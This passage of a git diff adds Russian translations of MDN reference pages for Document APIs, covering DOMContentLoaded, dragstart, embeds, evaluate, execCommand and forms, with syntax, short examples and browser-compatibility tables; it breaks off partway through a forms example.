+document.addEventListener('DOMContentLoaded', (event) =&gt; {
+    log.textContent = log.textContent + `DOMContentLoaded\n`;
+});
+
+</pre>
+
+<h4 id="Result">Result</h4>
+
+<p>{{ EmbedLiveSample('Live_example', '100%', '160px') }}</p>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', 'parsing.html#the-end:event-domcontentloaded', 'DOMContentLoaded')}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5 W3C', 'parsing.html#the-end:event-domcontentloaded', 'DOMContentLoaded')}}</td>
+   <td>{{Spec2('HTML5 W3C')}}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Браузерная_совместимость">Браузерная совместимость</h2>
+
+<div class="hidden">Таблица совместимости  на этой странице создаётся из структурированных данных. Если вы хотите внести свой вклад в эти данные, пожалуйста ознакомьтесь с <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> и вышлите нам pull request .</div>
+
+<p>{{Compat("api.Document.DOMContentLoaded_event")}}</p>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li>События связанные с: <code><a href="/en-US/docs/Web/API/Window/load_event">load</a></code>, <code><a href="/en-US/docs/Web/API/Document/readystatechange_event">readystatechange</a></code>, <code><a href="/en-US/docs/Web/API/Window/beforeunload_event">beforeunload</a></code>, <code><a href="/en-US/docs/Web/API/Window/unload_event">unload</a></code></li>
+ <li>Это событие <code><a href="/en-US/docs/Web/API/Window">Window</a></code> нацеленное на: <code><a href="/en-US/docs/Web/API/Window/DOMContentLoaded_event">DOMContentLoaded</a></code></li>
+</ul>
diff --git a/files/ru/web/api/document/dragstart_event/index.html b/files/ru/web/api/document/dragstart_event/index.html
new file mode 100644
index 0000000000..7b7e89cfea
--- /dev/null
+++ b/files/ru/web/api/document/dragstart_event/index.html
@@ -0,0 +1,89 @@
+---
+title: 'Document: dragstart event'
+slug: Web/API/Document/dragstart_event
+translation_of: Web/API/Document/dragstart_event
+---
+<div>Событие dragstart вызывается, когда пользователь начинает перетаскивать выделенный элемент или текст.</div>
+
+<table class="properties">
+ <tbody>
+  <tr>
+   <th scope="row">Bubbles</th>
+   <td>Yes</td>
+  </tr>
+  <tr>
+   <th scope="row">Отменяемое</th>
+   <td>Да</td>
+  </tr>
+  <tr>
+   <th scope="row">Действие по умолчанию</th>
+   <td>Инициирование операции перетаскивания</td>
+  </tr>
+  <tr>
+   <th scope="row">Интерфейс</th>
+   <td>{{domxref("DragEvent")}}</td>
+  </tr>
+  <tr>
+   <th scope="row">Свойство обработчика события</th>
+   <td>{{domxref("GlobalEventHandlers/ondragstart", "ondragstart")}}</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Примеры">Примеры</h2>
+
+
+
+<p>See the <a href="/en-US/docs/Web/API/Document/drag_event">drag event</a> for example code or this <a href="http://jsfiddle.net/zfnj5rv4/" rel="noopener">JSFiddle demo</a>.</p>
+
+<p>{{EmbedLiveSample('Examples', '300', '200', '', 'Web/API/Document/drag_event')}}</p>
+
+
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName("HTML WHATWG", "interaction.html#dndevents", "dragstart")}}</td>
+   <td>{{Spec2("HTML WHATWG")}}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость_с_браузерами">Совместимость с браузерами</h2>
+
+
+
+<p>{{Compat("api.Document.dragstart_event")}}</p>
+
+<h2 id="См._также">См. также</h2>
+
+<ul>
+ <li>Other drag and drop events:
+  <ul>
+   <li>{{domxref("Document/drag_event", "drag")}}</li>
+   <li>{{domxref("Document/dragend_event", "dragend")}}</li>
+   <li>{{domxref("Document/dragover_event", "dragover")}}</li>
+   <li>{{domxref("Document/dragenter_event", "dragenter")}}</li>
+   <li>{{domxref("Document/dragleave_event", "dragleave")}}</li>
+   <li>{{domxref("Document/dragexit_event", "dragexit")}}</li>
+   <li>{{domxref("Document/drop_event", "drop")}}</li>
+  </ul>
+ </li>
+ <li>This event on other targets:
+  <ul>
+   <li>{{domxref("Window")}}: {{domxref("Window/dragstart_event", "dragstart")}} event</li>
+   <li>{{domxref("HTMLElement")}}: {{domxref("HTMLElement/dragstart_event", "dragstart")}} event</li>
+   <li>{{domxref("SVGElement")}}: {{domxref("SVGElement/dragstart_event", "dragstart")}} event</li>
+  </ul>
+ </li>
+</ul>
diff --git a/files/ru/web/api/document/embeds/index.html b/files/ru/web/api/document/embeds/index.html
new file mode 100644
index 0000000000..848996becb
--- /dev/null
+++ b/files/ru/web/api/document/embeds/index.html
@@ -0,0 +1,59 @@
+---
+title: Document.embeds
+slug: Web/API/Document/embeds
+tags:
+  - API
+  - Document
+translation_of: Web/API/Document/embeds
+---
+<p> </p>
+
+<p>{{ApiRef}}</p>
+
+<p>The <strong><code>embeds</code></strong> read-only property of the {{domxref("Document")}} interface returns a list of the embedded {{htmlelement("object")}} elements within the current document.</p>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<pre><var>nodeList</var> = document.embeds
+</pre>
+
+<h3 id="Значение">Значение</h3>
+
+<p>{{domxref("HTMLCollection")}}.</p>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table>
+ <thead>
+  <tr>
+   <th scope="col">Спецификации</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', '#dom-document-embeds', 'Document.embeds')}}</td>
+   <td>{{ Spec2('HTML WHATWG') }}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Браузерная_поддержка">Браузерная поддержка</h2>
+
+<div class="hidden">
+<p>The compatibility table on this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>and send us a pull request.</p>
+</div>
+
+<p>{{Compat("api.Document.embeds")}}</p>
+
+<p> </p>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
diff --git a/files/ru/web/api/document/evaluate/index.html b/files/ru/web/api/document/evaluate/index.html
new file mode 100644
index 0000000000..07c7e55155
--- /dev/null
+++ b/files/ru/web/api/document/evaluate/index.html
@@ -0,0 +1,159 @@
+---
+title: Document.evaluate()
+slug: Web/API/Document/evaluate
+translation_of: Web/API/Document/evaluate
+---
+<div>{{ ApiRef("DOM") }}</div>
+
+<p>Возвращает экземпляр объекта типа <code><a href="/en-US/docs/XPathResult" title="XPathResult">XPathResult</a></code> исходя из данного <a href="/en-US/docs/XPath" title="XPath">XPath</a> и других входных параметров.</p>
+
+<h2 id="Syntax" name="Syntax">Синтаксис</h2>
+
+<pre class="syntaxbox notranslate">var xpathResult = document.evaluate(
+ xpathExpression,
+ contextNode,
+ namespaceResolver,
+ resultType,
+ result
+);</pre>
+
+<ul>
+ <li><code>xpathExpression</code> - строка, описывающая XPath, который должен быть исполнен.</li>
+ <li><code>contextNode</code> указывает<em>контекстный узел</em> для запроса (см. [<a class="external" href="http://www.w3.org/TR/xpath" rel="freelink">http://www.w3.org/TR/xpath</a> спецификация XPath). В качестве данного аргумента может быть задан объект <em>document</em>.</li>
+ <li><code>namespaceResolver</code> - функция, которой будут переданы все префиксы пространств имён. Она должна возвращать строку, описывающую URI, ассоциированный с данным префиксом. It will be used to resolve prefixes within the XPath itself, so that they can be matched with the document. <code>null</code> is common for HTML documents or when no namespace prefixes are used.</li>
+ <li><code>resultType</code> - число, описывающее тип возвращаемого <code>XPathResult</code> (см. ниже). Используйте <a href="#Result_types">именные свойства-константы</a> конструктора класса <code>XPathResult</code> (эквивалентно численным значениям от 0 до 9), как например <code>XPathResult.ANY_TYPE</code>.</li>
+ <li><code>result</code> - экземпляр объекта типа <code>XPathResult</code>, используемого для хранения результатов поиска по данному <code>xpathExpression</code>. Может принимать значение <code>null</code></li>
+</ul>
+
+<h2 id="Example" name="Example">Пример</h2>
+
+<pre class="brush: js notranslate">var headings = document.evaluate("/html/body//h2", document, null, XPathResult.ANY_TYPE, null);
+/* Найти в документе все элементы h2
+ * В качестве результата будет получен узловой итератор. */
+var thisHeading = headings.iterateNext();
+var alertText = "В данном документе заголовками 2-го уровня являются:\n";
+while (thisHeading) {
+  alertText += thisHeading.textContent + "\n";
+  thisHeading = headings.iterateNext();
+}
+alert(alertText); // Показывает alert со всеми найденными элементами h2
+</pre>
+
+<p>Note, in the above example, a more verbose XPath is preferred over common shortcuts such as <code>//h2</code>. Generally, more specific XPath selectors as in the above example usually gives a significant performance improvement, especially on very large documents. This is because the evaluation of the query spends does not waste time visiting unnecessary nodes. Using // is generally slow as it visits <em>every</em> node from the root and all subnodes looking for possible matches.</p>
+
+<p>Further optimization can be achieved by careful use of the context parameter. For example, if you know the content you are looking for is somewhere inside the body tag, you can use this:</p>
+
+<pre class="brush: js notranslate">document.evaluate(".//h2", document.body, null, XPathResult.ANY_TYPE, null);
+</pre>
+
+<p>Notice in the above <code>document.body</code> has been used as the context instead of <code>document</code> so the XPath starts from the body element. (In this example, the <code>"."</code> is important to indicate that the querying should start from the context node, document.body. If the "." was left out (leaving <code>//h2</code>) the query would start from the root node (<code>html</code>) which would be more wasteful.)</p>
+
+<p>Более детально данный материал описан в статье <a href="/en-US/docs/Introduction_to_using_XPath_in_JavaScript" title="Introduction to using XPath in JavaScript">Introduction to using XPath in JavaScript</a>.</p>
+
+<h2 id="Notes" name="Notes">Заметки</h2>
+
+<ul>
+ <li>Выражения XPath могут быть интерпретированы в HTML- и XML-документах.</li>
+ <li>While using document.evaluate() works in FF2, in FF3 one must use someXMLDoc.evaluate() if evaluating against something other than the current document.</li>
+</ul>
+
+<h2 id="Result_types" name="Result_types">Типы возвращаемых данных</h2>
+
+<p>(Merge with <a href="/Template:XPathResultConstants" title="Template:XPathResultConstants">Template:XPathResultConstants</a>?</p>
+
+<p>These are supported values for the <code>resultType</code> parameter of the <code>evaluate</code> method:</p>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <td class="header">Result Type</td>
+   <td class="header">Value</td>
+   <td class="header">Description</td>
+  </tr>
+  <tr>
+   <td><code>ANY_TYPE</code></td>
+   <td>0</td>
+   <td>Whatever type naturally results from the given expression.</td>
+  </tr>
+  <tr>
+   <td><code>NUMBER_TYPE</code></td>
+   <td>1</td>
+   <td>A result set containing a single number. Useful, for example, in an XPath expression using the <code>count()</code> function.</td>
+  </tr>
+  <tr>
+   <td><code>STRING_TYPE</code></td>
+   <td>2</td>
+   <td>A result set containing a single string.</td>
+  </tr>
+  <tr>
+   <td><code>BOOLEAN_TYPE</code></td>
+   <td>3</td>
+   <td>A result set containing a single boolean value. Useful, for example, an an XPath expression using the <code>not()</code> function.</td>
+  </tr>
+  <tr>
+   <td><code>UNORDERED_NODE_ITERATOR_TYPE</code></td>
+   <td>4</td>
+   <td>A result set containing all the nodes matching the expression. The nodes in the result set are not necessarily in the same order they appear in the document.</td>
+  </tr>
+  <tr>
+   <td><code>ORDERED_NODE_ITERATOR_TYPE</code></td>
+   <td>5</td>
+   <td>A result set containing all the nodes matching the expression. The nodes in the result set are in the same order they appear in the document.</td>
+  </tr>
+  <tr>
+   <td><code>UNORDERED_NODE_SNAPSHOT_TYPE</code></td>
+   <td>6</td>
+   <td>A result set containing snapshots of all the nodes matching the expression. The nodes in the result set are not necessarily in the same order they appear in the document.</td>
+  </tr>
+  <tr>
+   <td><code>ORDERED_NODE_SNAPSHOT_TYPE</code></td>
+   <td>7</td>
+   <td>A result set containing snapshots of all the nodes matching the expression. The nodes in the result set are in the same order they appear in the document.</td>
+  </tr>
+  <tr>
+   <td><code>ANY_UNORDERED_NODE_TYPE</code></td>
+   <td>8</td>
+   <td>A result set containing any single node that matches the expression. The node is not necessarily the first node in the document that matches the expression.</td>
+  </tr>
+  <tr>
+   <td><code>FIRST_ORDERED_NODE_TYPE</code></td>
+   <td>9</td>
+   <td>A result set containing the first node in the document that matches the expression.</td>
+  </tr>
+ </tbody>
+</table>
+
+<p>Results of <code>NODE_ITERATOR</code> types contain references to nodes in the document. Modifying a node will invalidate the iterator. After modifying a node, attempting to iterate through the results will result in an error.</p>
+
+<p>Results of <code>NODE_SNAPSHOT</code> types are snapshots, which are essentially lists of matched nodes. You can make changes to the document by altering snapshot nodes. Modifying the document doesn't invalidate the snapshot; however, if the document is changed, the snapshot may not correspond to the current state of the document, since nodes may have moved, been changed, added, or removed.</p>
+
+<h2 id="Specifications" name="Specifications">Спецификации</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName("DOM3 XPath", "xpath.html#XPathEvaluator-evaluate", "Document.evaluate")}}</td>
+   <td>{{Spec2("DOM3 XPath")}}</td>
+   <td>Initial specification</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility" name="Browser_compatibility">Совместимость с браузерами</h2>
+
+<p>{{Compat("api.Document.evaluate")}}</p>
+
+<h2 id="See_also" name="See_also">Смотрите также</h2>
+
+<ul>
+ <li><a href="/en-US/docs/DOM/document.createExpression" title="DOM/document.createExpression">DOM:document.createExpression</a></li>
+ <li><a href="/en-US/docs/Code_snippets/XPath" title="Code_snippets/XPath">XPath Code Snippets</a></li>
+ <li><a href="http://codepen.io/johan/full/ckFgn">Check for browser support</a></li>
+</ul>
diff --git a/files/ru/web/api/document/execcommand/index.html b/files/ru/web/api/document/execcommand/index.html
new file mode 100644
index 0000000000..b858471dc2
--- /dev/null
+++ b/files/ru/web/api/document/execcommand/index.html
@@ -0,0 +1,358 @@
+---
+title: Document.execCommand()
+slug: Web/API/Document/execCommand
+tags:
+  - API
+  - DOM
+  - editor
+  - wysiwyg
+translation_of: Web/API/Document/execCommand
+---
+<div>{{ApiRef("DOM")}}{{Obsolete_header}}</div>
+
+<div>
+<h2 id="Summary" name="Summary">Обзор</h2>
+
+<p>Когда HTML документ переключен в режим редактирования ({{domxref("document.designMode")}}), для него будет доступен метод <code>execCommand</code>, который предоставляет команды для работы с контентом в редактируемой области. Большинство команд влияют на выделение (bold, italics, и т. п.), другие вставляют новые элементы (createLink) или влияют на всю строку (<span style="font-family: segoe ui;">indenting</span>). При использовании <code>contentEditable</code>, вызов <code>execCommand</code> влияет на активный редактируемый элемент.</p>
+
+<h2 id="Syntax" name="Syntax">Синтаксис</h2>
+
+<pre class="brush: js notranslate">execCommand(String aCommandName, Boolean aShowDefaultUI, String aValueArgument)
+</pre>
+
+<h3 id="Аргументы">Аргументы</h3>
+
+<blockquote>
+<dl>
+ <dt>String aCommandName</dt>
+ <dd>имя команды</dd>
+</dl>
+
+<dl>
+ <dt>Boolean aShowDefaultUI</dt>
+ <dd>нужно ли показать пользовательский интерфейс по умолчанию. Это не реализовано в Mozilla.</dd>
+</dl>
+
+<dl>
+ <dt>String aValueArgument</dt>
+ <dd>некоторым командам (например insertimage) также требуется значение аргумента (url картинки). Е<span style="line-height: 1.5;">сли аргумент не нужен введите</span><span style="line-height: 1.5;"> </span><code style="font-style: normal; line-height: 1.5;">null</code><span style="line-height: 1.5;">.</span></dd>
+</dl>
+</blockquote>
+
+<h2 id="Команды">Команды</h2>
+
+
+<blockquote>
+<dl>
+ <dt>backColor</dt>
+ <dd>Изменить цвет фона документа. В режиме styleWithCss командой устанавливается цвет фона родительского блока. Необходима передача строкового значения цвета в качестве аргумента. (Internet Explorer таким образом устанавливает цвет фона текста.)</dd>
+</dl>
+
+<dl>
+ <dt>bold</dt>
+ <dd>Включает/отключает выделение жирным bold отмеченного текста или начиная с места ввода текста. (Internet Explorer использует тег {{HTMLElement("strong")}} вместо {{HTMLElement("b")}}.)</dd>
+</dl>
+
+<dl>
+ <dt>contentReadOnly</dt>
+ <dd>Делает содержимое документа либо неизменяемым либо редактируемым. Требуется передача булевого true/false в качестве аргумента. (Не поддерживается Internet Explorer.)</dd>
+</dl>
+
+<dl>
+ <dt>copy</dt>
+ <dd>Копирует выделенное в буфер обмена. Возможность такого поведения отличается от браузера к браузеру и расширяется со временем. Следует проверить таблицу совместимости, чтобы убедиться в возможности использования.</dd>
+</dl>
+
+<dl>
+ <dt>createLink</dt>
+ <dd>Создает ссылку из выделения, если таковое имеется. Необходима передача HREF URI в качестве аргумента. URI должен содержать как минимум один символ, допускается пробельный. (Internet Explorer создаст ccылку и без URI.)</dd>
+</dl>
+
+<dl>
+ <dt>cut</dt>
+ <dd>Вырезает выделенное и помещает его в буфер обмена. Возможность такого поведения отличается от браузера к браузеру и расширяется со временем. Следует проверить таблицу совместимости, чтобы убедиться в возможности использования.</dd>
+</dl>
+
+<dl>
+ <dt>decreaseFontSize</dt>
+ <dd>Добавляет тег {{HTMLElement("small")}} вокруг выделения или с места ввода текста. (Не поддерживается Internet Explorer.)</dd>
+</dl>
+
+<dl>
+ <dt>delete</dt>
+ <dd>Удаляет выделенное.</dd>
+</dl>
+
+<dl>
+ <dt>enableInlineTableEditing</dt>
+ <dd>Включает/выключает возможность вставки и удаления строк/столбцов таблицы. (Не поддерживается Internet Explorer.)</dd>
+</dl>
+
+<dl>
+ <dt>enableObjectResizing</dt>
+ <dd>Включает/выключает возможность изменения размера картинок и других объектов. (Не поддерживается Internet Explorer.)</dd>
+</dl>
+
+<dl>
+ <dt>fontName</dt>
+ <dd>Изменяет название шрифта для выделенного текста или с места ввода текста. Требует передачи в качестве аргумента наименования шрифта (напр., "Arial") </dd>
+</dl>
+
+<dl>
+ <dt>fontSize</dt>
+ <dd>Изменяет размер шрифта  выделенного текста или с места ввода текста. Требует передачи в качестве аргумента размера шрифта (1-7).</dd>
+</dl>
+
+<dl>
+ <dt>foreColor</dt>
+ <dd>Изменяет цвет шрифта выделенного текста или с места ввода текста. Требует передачи в качестве аргумента наименования шрифта.</dd>
+</dl>
+
+<dl>
+ <dt>formatBlock</dt>
+ <dd>Добавляет тег HTML-блока вокруг строк, содержащих в себе выделенный текст, заменяя блочный элемент, содержащий такие строки, если он существует (в Firefox, BLOCKQUOTE  является исключением - он обернет любой блочный элемент). Требует передачи в качестве аргумента наименования Тега. Теоретически может использоваться любой блочный тег (напр., "H1", "P", "DL", "BLOCKQUOTE"). (Internet Explorer поддерживает только теги заголовков H1 - H6, ADDRESS и PRE, которые должны также быть заключены в символы &lt; &gt;, как например: "&lt;H1&gt;".)</dd>
+</dl>
+
+<dl>
+ <dt>forwardDelete</dt>
+ <dd>Удаляет символ справа от курсора, так же как при нажатии на клавишу delete.</dd>
+ <dt>heading</dt>
+ <dd>Добавляет тег заголовка вокруг выделенного текста либо в месте, где установлен курсор.<br>
+ Требует передачи строки имени тега в качестве аргумента. (то есть "H1", "H6"). (Не поддерживается в Internet Explorer и Safari)</dd>
+</dl>
+
+<dl>
+ <dt>hiliteColor</dt>
+ <dd>Изменяет цвет фона для выделенного текста либо в месте, где установлен курсор. Требует передачи цвета в качестве аргумента. UseCSS должен быть включен для работы этой функции. (Не поддерживается в Internet Explorer)</dd>
+</dl>
+
+<dl>
+ <dt>increaseFontSize</dt>
+ <dd>Добавляет тег BIG вокруг выделенного текста или на месте курсора. (Не поддерживается в Internet Explorer)</dd>
+</dl>
+
+<dl>
+ <dt>indent</dt>
+ <dd>Добавляет отступ в строку, в которой расположен курсор (или что-то выделено). В Firefox, если выделение охватывает несколько строк с разными уровнями отступа, будут сдвинуты только строки с наименьшим отступом.</dd>
+</dl>
+
+<dl>
+ <dt>insertBrOnReturn</dt>
+ <dd>Добавляет тег {{HTMLElement("br")}} или разбивает текущий элемент на два блока. Не работает в Internet Explorer</dd>
+</dl>
+
+<dl>
+ <dt>insertHorizontalRule</dt>
+ <dd>Вставляет горизонтальную линию на месте курсора (удаляет выделение).</dd>
+</dl>
+
+<dl>
+ <dt>insertHTML</dt>
+ <dd>Вставляет HTML текст на месте курсора (удаляет выделенный текст). Требует передачи правильной HTML строки в качестве аргумента. (Не поддерживается в Internet Explorer)</dd>
+</dl>
+
+<dl>
+ <dt>insertImage</dt>
+ <dd>Вставляет изображение на место курсора (удаляет выделенный текст). Необходимо указывать ссылку на изображение в параметре "aValueArgument".  (Internet Explorer может создавать изображения с пустым SRC)</dd>
+</dl>
+
+<dl>
+ <dt>insertOrderedList</dt>
+ <dd>Создает пронумерованный список из выбранного или на месте курсора.</dd>
+</dl>
+
+<dl>
+ <dt>insertUnorderedList</dt>
+ <dd>Создает список из выбранного или на месте курсора.</dd>
+</dl>
+
+<dl>
+ <dt>insertParagraph</dt>
+ <dd>Вставляет параграф вокруг выделения или для текущей строки. (Internet Explorer вставляет параграф в месте курсора и удаляет выделенный текст)</dd>
+ <dt>insertText</dt>
+ <dd>Вставляет простой текст в месте курсора или выделения (выделенный текст будет заменен).</dd>
+</dl>
+
+<dl>
+ <dt>italic</dt>
+ <dd>Переключает курсив в месте курсора или выделения. (Internet Explorer использует теги {{HTMLElement("em")}} вместо {{HTMLElement("i")}}.)</dd>
+</dl>
+
+<dl>
+ <dt>justifyCenter</dt>
+ <dd>Центрирует строку, в которой есть выделение или установлен курсор.</dd>
+</dl>
+
+<dl>
+ <dt>justifyFull</dt>
+ <dd>Выравнивает по ширине строку, в которой есть выделение или установлен курсор.</dd>
+</dl>
+
+<dl>
+ <dt>justifyLeft</dt>
+ <dd>Выравнивает  по левому краю строку, в которой есть выделение или установлен курсор.</dd>
+</dl>
+
+<dl>
+ <dt>justifyRight</dt>
+ <dd>Выравнивает  по правому краю строку, в которой есть выделение или установлен курсор.</dd>
+</dl>
+
+<dl>
+ <dt>outdent</dt>
+ <dd>Добавляет выступ для строки, в которой расположен курсор (или что-то выделено).</dd>
+</dl>
+
+<dl>
+ <dt>paste</dt>
+ <dd>Вставляет данные из буфера обмена в место курсора или выделения (последнее заменяется). Доступ к буферу обмена должен быть включен в файле user.js</dd>
+</dl>
+
+<dl>
+ <dt>redo</dt>
+ <dd>Повтор последнего действия. (Если было отменено с помощью <strong>undo</strong> или <strong>ctrl+z</strong>)</dd>
+</dl>
+
+<dl>
+ <dt>removeFormat</dt>
+ <dd>Очищает форматирование для выделенного.</dd>
+</dl>
+
+<dl>
+ <dt>selectAll</dt>
+ <dd>Выделяет всё в редактируемом документе.</dd>
+</dl>
+
+<dl>
+ <dt>strikeThrough</dt>
+ <dd>Переключает зачеркивание текста для выделения или на месте курсора.</dd>
+</dl>
+
+<dl>
+ <dt>subscript</dt>
+ <dd>Переключает нижний индекс для выбранного или на месте курсора.</dd>
+</dl>
+
+<dl>
+ <dt>superscript</dt>
+ <dd>Переключает верхний индекс для выбранного или на месте курсора.</dd>
+</dl>
+
+<dl>
+ <dt>underline</dt>
+ <dd>Переключает подчёркивание для выбранного или на месте курсора.</dd>
+</dl>
+
+<dl>
+ <dt>undo</dt>
+ <dd>Отменяет последнее действие.</dd>
+</dl>
+
+<dl>
+ <dt>unlink</dt>
+ <dd>Удаляет ссылку или якорь для выбранной ссылки/якоря</dd>
+</dl>
+
+<dl>
+ <dt>useCSS {{ Deprecated_inline() }}</dt>
+ <dd>Переключает режим стилизации HTML и CSS для генерируемой разметки. Может принимать только булевы значения true/false. ПРИМЕЧАНИЕ: этот аргумент с перевернутой логикой (т.е. false = CSS / true = HTML). (Не поддерживается в Internet Explorer.) <strong>Внимание! Эта команда является устаревшей, используйте <em>styleWithCSS.</em></strong></dd>
+</dl>
+
+<dl>
+ <dt>styleWithCSS</dt>
+ <dd><strong>Заменяет команду useCSS.</strong> Аргумент работает как ожидалось, т.е. true модифицирует/генерирует атрибуты стиля в разметке, false генерирует элементы форматирования.</dd>
+</dl>
+</blockquote>
+</div>
+
+<h2 id="Example" name="Example">Пример</h2>
+
+<pre class="notranslate"><code>iframeNode</code>.execCommand("bold"); // Жирный текст
+<code>iframeNode</code>.execCommand("undo"); // Отмена последнего действия
+<code>iframeNode</code>.execCommand("insertText", false, "Lorem ipsum dolor sit amet, consectetur adipisicing elit."); // Вставка текста
+</pre>
+
+<h2 id="Browser_Compatibility" name="Browser_Compatibility">Совместимость с браузерами</h2>
+
+<p>{{ CompatibilityTable() }}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Базовая поддержка</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+  </tr>
+  <tr>
+   <td>insertBrOnReturn</td>
+   <td>{{ CompatNo() }}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatNo() }}</td>
+   <td>{{ CompatNo() }}</td>
+   <td>{{ CompatNo() }}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Chrome для Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Базовая поддержка</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatUnknown() }}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="Specification" name="Specification">Спецификация</h2>
+
+<table class="spectable standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML Editing','#execcommand()','execCommand')}}</td>
+   <td>{{Spec2('HTML Editing')}}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="See_also" name="See_also">Смотрите также</h2>
+
+<ul>
+ <li>{{domxref("document.contentEditable")}}</li>
+ <li>{{domxref("document.designMode")}}</li>
+ <li><a href="/en-US/docs/Rich-Text_Editing_in_Mozilla">Rich-Text Editing в Mozilla</a></li>
+</ul>
diff --git a/files/ru/web/api/document/forms/index.html b/files/ru/web/api/document/forms/index.html
new file mode 100644
index 0000000000..a6d356208b
--- /dev/null
+++ b/files/ru/web/api/document/forms/index.html
@@ -0,0 +1,130 @@
+---
+title: Document.forms
+slug: Web/API/Document/forms
+tags:
+  - API
+  - DOM
+  - Document
+  - Forms
+  - Property
+translation_of: Web/API/Document/forms
+---
+<div>{{APIRef("DOM")}}</div>
+
+<p><code>forms</code> возвращает коллекцию ({{domxref("HTMLCollection")}}) форм в текущем документе</p>
+
+<div class="blockIndicator note">
+<p><strong>На заметку:</strong> Точно также Вы можете получить список элементов выбранной формы, используя свойство {{domxref("HTMLFormElement.elements")}}.</p>
+</div>
+
+<h2 id="Syntax" name="Syntax">Синтаксис</h2>
+
+<pre class="syntaxbox"><var>collection</var> = document.forms;</pre>
+
+<h3 id="Значение">Значение</h3>
+
+<p>Объект {{domxref("HTMLCollection")}} содержит все формы, имеющиеся на странице. Каждый элемент этой коллекции - это {{domxref("HTMLFormElement")}}, представленный отдельным тегом <code>&lt;form&gt;</code>.</p>
+
+<p>Если на странице форм нет, тогда возвращённый результат будет пустым, а длина коллекции равна нулю.</p>
+
+<h2 id="Example" name="Example">Примеры</h2>
+
+<h3 id="Получение_информации_с_формы">Получение информации с формы</h3>
+
+<pre><code>&lt;!DOCTYPE html&gt;
+&lt;html lang="en"&gt;
+
+&lt;head&gt;
+&lt;title&gt;document.forms example&lt;/title&gt;
+&lt;/head&gt;
+
+&lt;body&gt;
+
+&lt;form id="robby"&gt;
+  &lt;input type="button" onclick="alert(document.forms[0].id);" value="robby's form" /&gt;
+&lt;/form&gt;
+
+&lt;form id="dave"&gt;
+  &lt;input type="button" onclick="alert(document.forms[1].id);" value="dave's form" /&gt;
+&lt;/form&gt;
+
+&lt;form id="paul"&gt;
+  &lt;input type="button" onclick="alert(document.forms[2].id);" value="paul's form" /&gt;
+&lt;/form&gt;
+
+&lt;/body&gt;
+&lt;/html&gt;</code></pre>
+
+<h3 id="Получение_элемента_формы">Получение элемента формы</h3>
+
+<pre><code>var selectForm = document.forms[index];
+var selectFormElement = document.forms[index].elements[index];</code></pre>
+
+<h3 id="Обращение_к_форме_по_её_имени">Обращение к форме по её имени</h3>
+
+<pre><code>&lt;!DOCTYPE html&gt;
+&lt;html lang="en"&gt;
+&lt;head&gt;
+  &lt;title&gt;document.forms example&lt;/title&gt;
+&lt;/head&gt;
+
+&lt;body&gt;
+
+&lt;form name="login"&gt;
+  &lt;input name="email" type="email"&gt;
+  &lt;input name="password" type="password"&gt;
+  &lt;button type="submit"&gt;Log in&lt;/button&gt;
+&lt;/form&gt;
+
+&lt;script&gt;
+  var loginForm = document.forms.login; // Or document.forms['login']
+  loginForm.elements.email.placeholder = 'test@example.com';
